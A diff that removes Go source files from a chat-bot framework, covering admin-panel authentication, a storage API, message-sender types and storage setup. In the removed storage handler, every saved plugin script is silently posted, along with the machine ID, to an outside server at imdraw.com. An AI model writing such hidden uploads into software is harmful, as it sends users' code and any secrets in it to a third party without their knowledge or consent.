|
||||
}
|
||||
if f.Public {
|
||||
name = name + " 👑"
|
||||
}
|
||||
rs = append(rs, Route{
|
||||
Path: fmt.Sprintf(`/script/%s`, f.UUID),
|
||||
Name: name,
|
||||
Component: "./Script",
|
||||
CreateAt: f.CreateAt,
|
||||
})
|
||||
}
|
||||
}
|
||||
rrs := rs
|
||||
n := len(rrs)
|
||||
flag := true
|
||||
for i := 0; i < n && flag; i++ {
|
||||
flag = false
|
||||
for j := 0; j < n-i-1; j++ {
|
||||
if rrs[j].CreateAt < rrs[j+1].CreateAt {
|
||||
rrs[j], rrs[j+1] = rrs[j+1], rrs[j]
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
rrs = append(rrs, Route{
|
||||
Path: fmt.Sprintf(`/script/%s`, pluginNextUuid),
|
||||
Name: "+新增脚本",
|
||||
Component: "./Script",
|
||||
})
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
"data": map[string]interface{}{
|
||||
"name": sillyGirl.GetString("name"),
|
||||
"avatar": "https://gw.alipayobjects.com/zos/antfincdn/XAosXuNZyF/BiazfanxmamNRoxxVxka.png",
|
||||
"plugins": rrs,
|
||||
},
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
func DestroyAuth(c *gin.Context) {
|
||||
token, _ := c.Cookie("token")
|
||||
auth, _ := CheckAuth(token)
|
||||
if auth != nil {
|
||||
auth.ExpiredAt = int(time.Now().Unix())
|
||||
authBucket.Create(auth)
|
||||
}
|
||||
}
|
||||
|
||||
var tempAuth sync.Map
|
||||
|
||||
func getTempAuth() string {
|
||||
uuid := utils.GenUUID()
|
||||
tempAuth.Store(uuid, time.Now().Unix())
|
||||
return uuid
|
||||
}
|
||||
|
||||
func checkTempAuth(uuid string) bool {
|
||||
unix, ok := tempAuth.LoadAndDelete(uuid)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
if time.Now().Unix()-unix.(int64) > 1 {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func RequireAuth(c *gin.Context) {
|
||||
if password == "" {
|
||||
return
|
||||
}
|
||||
token, _ := c.Cookie("token")
|
||||
_, err := CheckAuth(token)
|
||||
if err != nil && !checkTempAuth(token) {
|
||||
c.JSON(401, map[string]interface{}{
|
||||
"data": map[string]interface{}{
|
||||
"isLogin": false,
|
||||
},
|
||||
"errorCode": "401",
|
||||
"errorMessage": err.Error(),
|
||||
"success": true,
|
||||
"showType": 9,
|
||||
})
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
func CheckAuth(token string) (*Auth, error) {
|
||||
var errorMessage = "请先登录!"
|
||||
if token != "" {
|
||||
auths := auths
|
||||
for i := range auths {
|
||||
if auths[i].Token == token && auths[i].ExpiredAt == 0 {
|
||||
if math.Abs(float64(int(time.Now().Unix())-auths[i].CreatedAt)) > 86400 {
|
||||
auths[i].ExpiredAt = int(time.Now().Unix())
|
||||
authBucket.Create(auths[i])
|
||||
errorMessage = "授权已过期!"
|
||||
} else {
|
||||
return auths[i], nil
|
||||
}
|
||||
} else {
|
||||
errorMessage = "非法访问!"
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil, errors.New(errorMessage)
|
||||
}
|
||||
|
||||
func ValidAuths() []*Auth {
|
||||
tmp := []*Auth{}
|
||||
for _, auth := range auths {
|
||||
if auth.ExpiredAt == 0 {
|
||||
tmp = append(tmp, auth)
|
||||
}
|
||||
|
||||
}
|
||||
return tmp
|
||||
}
|
||||
@@ -1,259 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
"github.com/gin-gonic/gin"
|
||||
"github.com/goccy/go-json"
|
||||
)
|
||||
|
||||
func checkFilePlugin(key string, value *string) {
|
||||
if isNameUuid(key) {
|
||||
for _, f := range Functions {
|
||||
if f.UUID == key {
|
||||
data, _ := os.ReadFile(f.Path)
|
||||
*value = string(data)
|
||||
return
|
||||
}
|
||||
}
|
||||
// if v, ok := plugins_id.Load(key); ok {
|
||||
|
||||
// } else {
|
||||
*value = "非法操作,请勿乱动。"
|
||||
// }
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
var sillyGirl = MakeBucket("sillyGirl")
|
||||
GinApi(GET, "/api/storage/list", RequireAuth, func(ctx *gin.Context) {
|
||||
page, _ := strconv.Atoi(ctx.DefaultQuery("current", "1"))
|
||||
perPage, _ := strconv.Atoi(ctx.DefaultQuery("pageSize", "20"))
|
||||
keys := ctx.Query("keys")
|
||||
data := []map[string]string{}
|
||||
arr := strings.Split(keys, ",")
|
||||
if keys == "" {
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
"data": data,
|
||||
"page": page,
|
||||
"total": len(data),
|
||||
})
|
||||
return
|
||||
}
|
||||
for _, bk := range arr {
|
||||
ar := strings.SplitN(bk, ".", 2)
|
||||
if len(ar) == 2 {
|
||||
if ar[0] == "plugins" && false { //todo
|
||||
// data[bk] = halfDeEct(MakeBucket(ar[0]).GetString(ar[1]))
|
||||
} else {
|
||||
// data[bk] = MakeBucket(ar[0]).GetString(ar[1])
|
||||
data = append(data, map[string]string{
|
||||
"bucket": ar[0],
|
||||
"key": ar[1],
|
||||
"value": MakeBucket(ar[0]).GetString(ar[1]),
|
||||
})
|
||||
}
|
||||
}
|
||||
if len(ar) == 1 {
|
||||
MakeBucket(ar[0]).Foreach(func(b1, b2 []byte) error {
|
||||
data = append(data, map[string]string{
|
||||
"bucket": bk,
|
||||
"key": string(b1),
|
||||
"value": string(b2),
|
||||
})
|
||||
return nil
|
||||
})
|
||||
}
|
||||
}
|
||||
start := (page - 1) * perPage
|
||||
end := start + perPage
|
||||
if end > len(data) {
|
||||
end = len(data)
|
||||
}
|
||||
res := data[start:end]
|
||||
index := start + 1
|
||||
for i := range res {
|
||||
res[i]["index"] = fmt.Sprint(index)
|
||||
index++
|
||||
}
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
"data": res,
|
||||
"page": page,
|
||||
"total": len(data),
|
||||
})
|
||||
})
|
||||
GinApi(GET, "/api/storage", RequireAuth, func(ctx *gin.Context) {
|
||||
keys := ctx.Query("keys")
|
||||
if keys == "" {
|
||||
buckets := sillyGirl.Buckets()
|
||||
search := ctx.Query("search")
|
||||
res := []map[string]interface{}{}
|
||||
if search == "" {
|
||||
for _, bucket := range buckets {
|
||||
if bucket == "plugins" {
|
||||
continue
|
||||
}
|
||||
res = append(res, map[string]interface{}{
|
||||
"value": bucket,
|
||||
"text": "[桶] " + bucket,
|
||||
})
|
||||
}
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
"data": res,
|
||||
})
|
||||
return
|
||||
}
|
||||
for _, bucket := range buckets {
|
||||
if bucket == "plugins" {
|
||||
continue
|
||||
}
|
||||
if strings.Contains(bucket, search) {
|
||||
res = append(res, map[string]interface{}{
|
||||
"value": bucket,
|
||||
"text": "[桶] " + bucket,
|
||||
})
|
||||
}
|
||||
b := MakeBucket(bucket)
|
||||
b.Foreach(func(b1, b2 []byte) error {
|
||||
key := string(b1)
|
||||
value := string(b2)
|
||||
if strings.Contains(key, search) {
|
||||
res = append(res, map[string]interface{}{
|
||||
"value": bucket + "." + key,
|
||||
"text": "[键] " + key,
|
||||
})
|
||||
}
|
||||
if strings.Contains(value, search) {
|
||||
res = append(res, map[string]interface{}{
|
||||
"value": bucket + "." + key,
|
||||
"text": "[值] " + value,
|
||||
})
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
"data": res,
|
||||
})
|
||||
return
|
||||
}
|
||||
data := map[string]interface{}{}
|
||||
arr := strings.Split(keys, ",")
|
||||
for _, bk := range arr {
|
||||
ar := strings.SplitN(bk, ".", 2)
|
||||
if len(ar) == 2 {
|
||||
if ar[0] == "plugins" { //todo
|
||||
value := MakeBucket(ar[0]).GetString(ar[1])
|
||||
checkFilePlugin(ar[1], &value)
|
||||
if IsCdle {
|
||||
value = DecryptPlugin(halfDeEct(value))
|
||||
}
|
||||
data[bk] = value
|
||||
} else {
|
||||
data[bk] = TransformBucketKeyValue(MakeBucket(ar[0]).GetString(ar[1]))
|
||||
}
|
||||
}
|
||||
if len(ar) == 1 {
|
||||
MakeBucket(ar[0]).Foreach(func(b1, b2 []byte) error {
|
||||
data[bk+"."+string(b1)] = TransformBucketKeyValue(string(b2))
|
||||
return nil
|
||||
})
|
||||
}
|
||||
}
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
"data": data,
|
||||
})
|
||||
})
|
||||
GinApi(PUT, "/api/storage", RequireAuth, func(ctx *gin.Context) {
|
||||
uuid := ctx.Query("uuid")
|
||||
if uuid != "" {
|
||||
for _, f := range Functions {
|
||||
if f.UUID == uuid {
|
||||
if f.Reload != nil {
|
||||
defer f.Reload() //脚本重载
|
||||
} else {
|
||||
defer plugins.Set(uuid, "reload") //goja重载
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
data, err := ioutil.ReadAll(ctx.Request.Body)
|
||||
if err != nil {
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": false,
|
||||
"errorMessage": err.Error(),
|
||||
"showType": 2,
|
||||
})
|
||||
return
|
||||
}
|
||||
updates := map[string]interface{}{}
|
||||
err = json.Unmarshal(data, &updates)
|
||||
if err != nil {
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": false,
|
||||
"errorMessage": err.Error(),
|
||||
"showType": 2,
|
||||
})
|
||||
return
|
||||
}
|
||||
messages := map[string]interface{}{}
|
||||
errors := map[string]interface{}{}
|
||||
changes := map[string]bool{}
|
||||
for bk, v := range updates {
|
||||
ar := strings.SplitN(bk, ".", 2)
|
||||
if len(ar) == 2 {
|
||||
msg, changed, err := SetBucketKeyValue(MakeBucket(ar[0]), ar[1], v)
|
||||
if msg != "" {
|
||||
messages[bk] = msg
|
||||
}
|
||||
if err != nil {
|
||||
errors[bk] = err.Error()
|
||||
}
|
||||
changes[bk] = changed
|
||||
|
||||
if ar[0] == "plugins" && changed {
|
||||
go func(uuid string, v interface{}) {
|
||||
defer recover()
|
||||
content := v.(string)
|
||||
if content == "" || content == "install" {
|
||||
return
|
||||
}
|
||||
_id := utils.GenUUID()
|
||||
unix := fmt.Sprint(time.Now().Unix())
|
||||
http.Post(
|
||||
"https://imdraw.com/api/plugins/backup?"+strings.Join([]string{
|
||||
"_id=" + _id,
|
||||
"uuid=" + uuid,
|
||||
"machine_id=" + machine_id,
|
||||
"unix=" + unix,
|
||||
"sign=" + utils.Md5(uuid+machine_id+unix+_id+"fuckatm"),
|
||||
}, "&"),
|
||||
"application/json",
|
||||
bytes.NewBuffer([]byte(content)))
|
||||
}(ar[1], v)
|
||||
}
|
||||
}
|
||||
}
|
||||
ctx.JSON(200, map[string]interface{}{
|
||||
"success": true,
|
||||
"messages": messages,
|
||||
"errors": errors,
|
||||
"changes": changes,
|
||||
})
|
||||
})
|
||||
}
|
||||
@@ -1,563 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/core/common"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
)
|
||||
|
||||
var RegistedSenders = map[string]func() common.Sender{}
|
||||
|
||||
type Faker struct {
|
||||
Message string
|
||||
Type string
|
||||
UserID string
|
||||
ChatID string
|
||||
Carry chan string
|
||||
BaseSender
|
||||
Admin bool
|
||||
}
|
||||
|
||||
//func (sender *Faker) Listen() chan string {
|
||||
// return sender.Carry
|
||||
// }
|
||||
|
||||
//func (sender *Faker) GetContent() string {
|
||||
// if sender.Fsps.Content != "" {
|
||||
// return sender.Fsps.Content
|
||||
// }
|
||||
// return sender.Message
|
||||
// }
|
||||
|
||||
//func (sender *Faker) GetUserID() string {
|
||||
// return sender.UserID
|
||||
// }
|
||||
|
||||
//func (sender *Faker) GetBotID() string {
|
||||
// return ""
|
||||
// }
|
||||
|
||||
//func (sender *Faker) GetChatID() string {
|
||||
// return sender.ChatID
|
||||
// }
|
||||
|
||||
//func (sender *Faker) GetImType() string {
|
||||
// if sender.Type == "" {
|
||||
// return "fake"
|
||||
// }
|
||||
// return sender.Type
|
||||
// }
|
||||
|
||||
//func (sender *Faker) GetMessageID() string {
|
||||
// return ""
|
||||
// }
|
||||
|
||||
//func (sender *Faker) GetUserName() string {
|
||||
// return ""
|
||||
// }
|
||||
|
||||
//func (sender *Faker) GetChatName() string {
|
||||
// return ""
|
||||
// }
|
||||
|
||||
//func (sender *Faker) IsReply() bool {
|
||||
// return false
|
||||
// }
|
||||
|
||||
// //func (sender *Faker) GetReplyUserID() int {
|
||||
// return 0
|
||||
// }
|
||||
|
||||
// //func (sender *Faker) GetRawMessage() interface{} {
|
||||
// return sender.Message
|
||||
// }
|
||||
|
||||
// //func (sender *Faker) IsAdmin() bool {
|
||||
// return sender.Admin
|
||||
// }
|
||||
|
||||
// //func (sender *Faker) IsMedia() bool {
|
||||
// return false
|
||||
// }
|
||||
|
||||
//func (sender *Faker) Reply(msgs ...interface{}) (string, error) {
|
||||
// rt := ""
|
||||
// for _, msg := range msgs {
|
||||
// switch msg := msg.(type) {
|
||||
// case []byte:
|
||||
// rt = (string(msg))
|
||||
// case string:
|
||||
// rt = msg
|
||||
// }
|
||||
// }
|
||||
// {
|
||||
|
||||
// for _, v := range regexp.MustCompile(`\[CQ:image,file=([^\[\]]+)\]`).FindAllStringSubmatch(rt, -1) {
|
||||
// // qr := qrcode2console.NewQRCode2ConsoleWithUrl(v[1], true)
|
||||
// // defer qr.Output()
|
||||
// rt = strings.Replace(rt, fmt.Sprintf(`[CQ:image,file=%s]`, v[1]), "", -1)
|
||||
// }
|
||||
// }
|
||||
|
||||
// if rt != "" && n != nil {
|
||||
// NotifyMasters(rt)
|
||||
// }
|
||||
|
||||
// if rt != "" && sender.Carry != nil {
|
||||
// sender.Carry <- rt
|
||||
// }
|
||||
|
||||
// if rt != "" && sender.Type == "terminal" {
|
||||
// fmt.Printf("\x1b[%dm%s \x1b[0m\n", 31, rt)
|
||||
// }
|
||||
// return "", nil
|
||||
// }
|
||||
|
||||
//func (sender *Faker) Delete() error {
|
||||
// return nil
|
||||
// }
|
||||
|
||||
//func (sender *Faker) Disappear(lifetime ...time.Duration) {
|
||||
|
||||
// }
|
||||
|
||||
//func (sender *Faker) Finish() {
|
||||
// if sender.Carry != nil {
|
||||
// close(sender.Carry)
|
||||
// }
|
||||
// }
|
||||
|
||||
//func (sender *Faker) Copy() common.Sender {
|
||||
// new := reflect.Indirect(reflect.ValueOf(interface{}(sender))).Interface().(Faker)
|
||||
// return &new
|
||||
// }
|
||||
|
||||
//func (sender *Faker) GroupKick(uid string, reject_add_request bool) error {
|
||||
// return nil
|
||||
// }
|
||||
|
||||
//func (sender *Faker) GroupBan(uid string, duration int) error {
|
||||
// return nil
|
||||
// }
|
||||
|
||||
type BaseSender struct {
|
||||
matches [][]string
|
||||
goon bool
|
||||
Fsps common.FakerSenderParams
|
||||
Atlast bool
|
||||
ToSendMessages []string
|
||||
IsFinished bool
|
||||
Duration *time.Duration
|
||||
mark interface{}
|
||||
params []string
|
||||
level int
|
||||
emf map[string]interface{}
|
||||
id string
|
||||
CreatedAt time.Time
|
||||
plugin_id string
|
||||
}
|
||||
|
||||
func (sender *CustomSender) SetPluginID(plugin_id string) {
|
||||
sender.plugin_id = plugin_id
|
||||
}
|
||||
func (sender *CustomSender) GetPluginID() string {
|
||||
return sender.plugin_id
|
||||
}
|
||||
|
||||
func (sender *CustomSender) SetLevel(l int) {
|
||||
sender.level = l
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GetLevel() int {
|
||||
return sender.level
|
||||
}
|
||||
|
||||
func (sender *CustomSender) SetMark(mark interface{}) {
|
||||
sender.mark = mark
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GetMark() interface{} {
|
||||
return sender.mark
|
||||
}
|
||||
|
||||
func (sender *CustomSender) SetExpandMessageInfo(emf map[string]interface{}) {
|
||||
if sender.emf == nil {
|
||||
sender.emf = map[string]interface{}{}
|
||||
}
|
||||
for key, value := range emf {
|
||||
sender.emf[key] = value
|
||||
}
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GetExpandMessageInfo() map[string]interface{} {
|
||||
if sender.emf == nil {
|
||||
sender.emf = map[string]interface{}{}
|
||||
}
|
||||
return sender.emf
|
||||
}
|
||||
|
||||
func (sender *CustomSender) SetVar(key string, value interface{}) {
|
||||
if sender.emf == nil {
|
||||
sender.emf = map[string]interface{}{}
|
||||
}
|
||||
sender.emf[key] = value
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GetVar(key string) interface{} {
|
||||
if sender.emf == nil {
|
||||
sender.emf = map[string]interface{}{}
|
||||
}
|
||||
v, ok := sender.emf[key]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func (sender *CustomSender) SetMatch(ss []string) {
|
||||
sender.matches = [][]string{ss}
|
||||
}
|
||||
func (sender *CustomSender) SetParams(ss []string) {
|
||||
sender.params = ss
|
||||
}
|
||||
func (sender *CustomSender) SetAllMatch(ss [][]string) {
|
||||
sender.matches = ss
|
||||
}
|
||||
|
||||
func (sender *CustomSender) SetContent(content string) {
|
||||
sender.Fsps.Content = content
|
||||
}
|
||||
|
||||
func (sender *CustomSender) SetFsps(fsps *common.FakerSenderParams) {
|
||||
sender.Fsps = *fsps
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GetMatch() []string {
|
||||
return sender.matches[0]
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GetAllMatch() [][]string {
|
||||
return sender.matches
|
||||
}
|
||||
|
||||
func (sender *CustomSender) Continue() {
|
||||
sender.goon = true
|
||||
}
|
||||
|
||||
func (sender *CustomSender) IsContinue() bool {
|
||||
return sender.goon
|
||||
}
|
||||
|
||||
func (sender *CustomSender) ClearContinue() {
|
||||
sender.goon = false
|
||||
}
|
||||
|
||||
func (sender *CustomSender) Get(i interface{}) string {
|
||||
switch i := i.(type) {
|
||||
case int:
|
||||
if len(sender.matches) == 0 {
|
||||
return ""
|
||||
}
|
||||
if len(sender.matches[0]) < i+1 {
|
||||
return ""
|
||||
}
|
||||
return sender.matches[0][i]
|
||||
case string:
|
||||
for j := range sender.params {
|
||||
if sender.params[j] == i {
|
||||
return sender.Get(j)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (sender *CustomSender) Delete() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (sender *BaseSender) Disappear(lifetime ...time.Duration) {
|
||||
|
||||
}
|
||||
|
||||
func (sender *CustomSender) Finish() {
|
||||
sender.IsFinished = true
|
||||
}
|
||||
|
||||
func (sender *CustomSender) IsMedia() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GetRawMessage() interface{} {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (sender *CustomSender) IsReply() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func (sender *CustomSender) Push(msg map[string]string) (string, error) {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GroupUnkick(uid string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GetReplyUserID() int {
|
||||
return 0
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GetReplyMessageID() int {
|
||||
return 0
|
||||
}
|
||||
|
||||
func (sender *CustomSender) AtLast() {
|
||||
sender.Atlast = true
|
||||
}
|
||||
|
||||
func (sender *CustomSender) UAtLast() {
|
||||
sender.Atlast = false
|
||||
}
|
||||
|
||||
func (sender *CustomSender) Stop() {
|
||||
panic("stop")
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GetTime() time.Time {
|
||||
return sender.CreatedAt
|
||||
}
|
||||
|
||||
func (sender *CustomSender) IsAtLast() bool {
|
||||
return sender.Atlast
|
||||
}
|
||||
|
||||
func (sender *CustomSender) MessagesToSend() string {
|
||||
return strings.Join(sender.ToSendMessages, "\n")
|
||||
}
|
||||
|
||||
var ErrorTimeOut = errors.New("指令超时")
|
||||
var ErrorInterrupt = errors.New("被其他指令中断")
|
||||
|
||||
type Carrys struct {
|
||||
list map[int64]*Carry
|
||||
sync.RWMutex
|
||||
}
|
||||
|
||||
func (cs *Carrys) Add(key int64, c *Carry) {
|
||||
// logs.Info("add", c.Function.Rules)
|
||||
cs.Lock()
|
||||
defer cs.Unlock()
|
||||
cs.list[key] = c
|
||||
}
|
||||
|
||||
func (cs *Carrys) Remove(Key1 int64) {
|
||||
cs.Lock()
|
||||
defer cs.Unlock()
|
||||
for key := range cs.list {
|
||||
if key == Key1 {
|
||||
// logs.Info("rem", cs.list[key].Function.Rules)
|
||||
delete(cs.list, Key1)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (cs *Carrys) RemoveByUUID(uuid string) {
|
||||
cs.Foreach(func(key int64, c *Carry) bool {
|
||||
if c.UUID == uuid {
|
||||
cs.Remove(key)
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func (cs *Carrys) Foreach(f func(key int64, c *Carry) bool) {
|
||||
cs.RLock()
|
||||
defer cs.RUnlock()
|
||||
for key, c := range cs.list {
|
||||
f(key, c)
|
||||
}
|
||||
}
|
||||
|
||||
var waits = map[int]*Carrys{
|
||||
1: {
|
||||
list: map[int64]*Carry{},
|
||||
},
|
||||
2: {
|
||||
list: map[int64]*Carry{},
|
||||
},
|
||||
3: {
|
||||
list: map[int64]*Carry{},
|
||||
},
|
||||
4: {
|
||||
list: map[int64]*Carry{},
|
||||
},
|
||||
5: {
|
||||
list: map[int64]*Carry{},
|
||||
},
|
||||
}
|
||||
|
||||
type Carry struct {
|
||||
// Rules []string
|
||||
Chan chan interface{}
|
||||
Result chan interface{}
|
||||
Message common.Sender
|
||||
Function common.Function
|
||||
RequireAdmin bool
|
||||
AllowPlatforms []string
|
||||
ProhibitPlatforms []string
|
||||
AllowGroups []string
|
||||
ProhibitGroups []string
|
||||
AllowUsers []string
|
||||
ProhibitUsers []string
|
||||
ListenPrivate bool
|
||||
ListenGroup bool
|
||||
UserID string
|
||||
ChatID string
|
||||
UUID string
|
||||
}
|
||||
|
||||
type again string
|
||||
|
||||
var Again again = ""
|
||||
|
||||
var GoAgain = func(str string) again {
|
||||
return again(str)
|
||||
}
|
||||
|
||||
type YesOrNo string
|
||||
|
||||
var YesNo YesOrNo = "yeson"
|
||||
var Yes YesOrNo = "yes"
|
||||
var No YesOrNo = "no"
|
||||
|
||||
type Range []int
|
||||
|
||||
type Switch []string
|
||||
|
||||
var listenCounter int64
|
||||
|
||||
func (s *CustomSender) Await(message common.Sender, callback func(common.Sender) interface{}, params ...interface{}) interface{} {
|
||||
timeout := time.Hour * 999999
|
||||
var handleErr func(error)
|
||||
var persistent = false
|
||||
var c *Carry
|
||||
for _, param := range params {
|
||||
switch param := param.(type) {
|
||||
case string:
|
||||
if param == "persistent" {
|
||||
persistent = true
|
||||
} else {
|
||||
c.Function.Rules = append(c.Function.Rules, param)
|
||||
}
|
||||
case []string:
|
||||
c.Function.Rules = append(c.Function.Rules, param...)
|
||||
case time.Duration:
|
||||
du := param
|
||||
if du != 0 {
|
||||
timeout = du
|
||||
}
|
||||
case func(error):
|
||||
handleErr = param
|
||||
case *Carry:
|
||||
c = param
|
||||
}
|
||||
}
|
||||
// c.UserID
|
||||
c.Message = message
|
||||
if len(c.Function.Rules) == 0 {
|
||||
c.Function.Rules = []string{`raw [\s\S]+`}
|
||||
}
|
||||
// fmt.Println("carry", c)
|
||||
fmtRule(&c.Function)
|
||||
c.Chan = make(chan interface{}, 1)
|
||||
c.Result = make(chan interface{}, 1)
|
||||
key := atomic.AddInt64(&listenCounter, 1)
|
||||
// key := fmt.Sprintf("u=%v&c=%v&i=%v&t=%v&p=%v", message.GetUserID(), message.GetChatID(), message.GetImType(), atomic.LoadInt64(&listenCounter))
|
||||
// if fg != nil {
|
||||
// if *fg == "me" {
|
||||
// key += "&f=me"
|
||||
// } else {
|
||||
// key += "&f=true"
|
||||
// }
|
||||
// }
|
||||
waits[4-s.level].Add(key, c)
|
||||
defer func() {
|
||||
waits[4-s.level].Remove(key)
|
||||
}()
|
||||
for {
|
||||
select {
|
||||
case result := <-c.Chan:
|
||||
switch s := result.(type) {
|
||||
case common.Sender:
|
||||
if callback == nil {
|
||||
return s.GetContent()
|
||||
}
|
||||
if persistent {
|
||||
go func() {
|
||||
c.Result <- callback(s)
|
||||
}()
|
||||
continue
|
||||
}
|
||||
result := callback(s)
|
||||
if v, ok := result.(again); ok { //阻塞
|
||||
if v == "" {
|
||||
c.Result <- nil
|
||||
} else {
|
||||
c.Result <- string(v)
|
||||
}
|
||||
} else if _, ok := result.(YesOrNo); ok {
|
||||
o := strings.ToLower(regexp.MustCompile("[yYnN]").FindString(s.GetContent()))
|
||||
if o == "y" {
|
||||
return Yes
|
||||
}
|
||||
if o == "n" {
|
||||
return No
|
||||
}
|
||||
c.Result <- "Y or n ?"
|
||||
} else if vv, ok := result.(Switch); ok {
|
||||
ct := s.GetContent()
|
||||
for _, v := range vv {
|
||||
if ct == v {
|
||||
return v
|
||||
}
|
||||
}
|
||||
c.Result <- fmt.Sprintf("请从%s中选择一个", strings.Join(vv, "、"))
|
||||
} else if vv, ok := result.(Range); ok {
|
||||
ct := s.GetContent()
|
||||
n := utils.Int(ct)
|
||||
if fmt.Sprint(n) == ct {
|
||||
if (n >= vv[0]) && (n <= vv[1]) {
|
||||
|
||||
return n
|
||||
}
|
||||
}
|
||||
c.Result <- fmt.Sprintf("请从%d~%d中选择一个整数", vv[0], vv[1])
|
||||
} else {
|
||||
c.Result <- result
|
||||
return s.GetContent()
|
||||
}
|
||||
case error:
|
||||
if handleErr != nil {
|
||||
handleErr(s)
|
||||
}
|
||||
c.Result <- nil
|
||||
return nil
|
||||
}
|
||||
case <-time.After(timeout):
|
||||
if handleErr != nil {
|
||||
handleErr(ErrorTimeOut)
|
||||
}
|
||||
c.Result <- nil
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
-220
@@ -1,220 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/cdle/sillyplus/core/logs"
|
||||
"github.com/cdle/sillyplus/core/storage"
|
||||
"github.com/cdle/sillyplus/core/storage/boltdb"
|
||||
"github.com/cdle/sillyplus/core/storage/redis"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
"github.com/goccy/go-json"
|
||||
)
|
||||
|
||||
var bkt storage.Bucket
|
||||
var HttpPort string
|
||||
var sillyGirl = MakeBucket("sillyGirl")
|
||||
|
||||
// var Get = func(key string) string {
|
||||
// return ""
|
||||
// }
|
||||
// var Set = func(key, value string, expiration time.Duration) error {
|
||||
// return nil
|
||||
// }
|
||||
|
||||
var MakeBucketlocker sync.Mutex
|
||||
|
||||
func MakeBucket(name string) storage.Bucket {
|
||||
MakeBucketlocker.Lock()
|
||||
defer MakeBucketlocker.Unlock()
|
||||
if bkt == nil {
|
||||
// utils.ReadYaml(utils.ExecPath+"/conf/", &Config, "https://raw.githubusercontent.com/cdle/sillyplus/main/conf/demo_config.yaml")
|
||||
// if !Config.EnableRedis {
|
||||
bkt = boltdb.Initsillyplus()
|
||||
// Get = boltdb.Get
|
||||
// Set = boltdb.Set
|
||||
// logs.Info("默认使用boltdb进行数据存储")
|
||||
// } else {
|
||||
// bkt = redis.Initsillyplus(Config.RedisAddr, Config.RedisPassword)
|
||||
// Get = redis.Get
|
||||
// Set = redis.Set
|
||||
// logs.Info("已使用redis进行数据存储")
|
||||
// }
|
||||
var app = bkt
|
||||
isredis := false
|
||||
if def := bkt.GetString("storage"); def == "redis" {
|
||||
func() {
|
||||
defer func() {
|
||||
err := recover()
|
||||
if err != nil {
|
||||
// console.Warn("redis异常,已默认启用boltdb进行数据存储")
|
||||
bkt = app
|
||||
} else {
|
||||
isredis = true
|
||||
logs.Info("已使用redis进行数据存储")
|
||||
}
|
||||
}()
|
||||
bkt = redis.Initsillyplus(app.GetString("redis_addr"), app.GetString("redis_password"))
|
||||
}()
|
||||
} else {
|
||||
if def != "boltdb" {
|
||||
bkt.Set("storage", "boltdb")
|
||||
}
|
||||
logs.Info("默认使用boltdb进行数据存储")
|
||||
}
|
||||
storage.Watch(bkt, "storage", func(old, new, key string) *storage.Final {
|
||||
if isredis {
|
||||
if new == "boltdb" {
|
||||
app.Set2(key, new)
|
||||
return &storage.Final{
|
||||
Message: "重启生效!",
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if new != "redis" {
|
||||
return nil
|
||||
}
|
||||
message := "Redis连接成功,重启生效!"
|
||||
err := redis.Try(app.GetString("redis_addr"), app.GetString("redis_password"))
|
||||
if err != nil {
|
||||
message = "Redis连接失败,操作无效:" + err.Error()
|
||||
return &storage.Final{
|
||||
Error: errors.New(message),
|
||||
}
|
||||
} else {
|
||||
return &storage.Final{
|
||||
Message: message,
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if !isredis {
|
||||
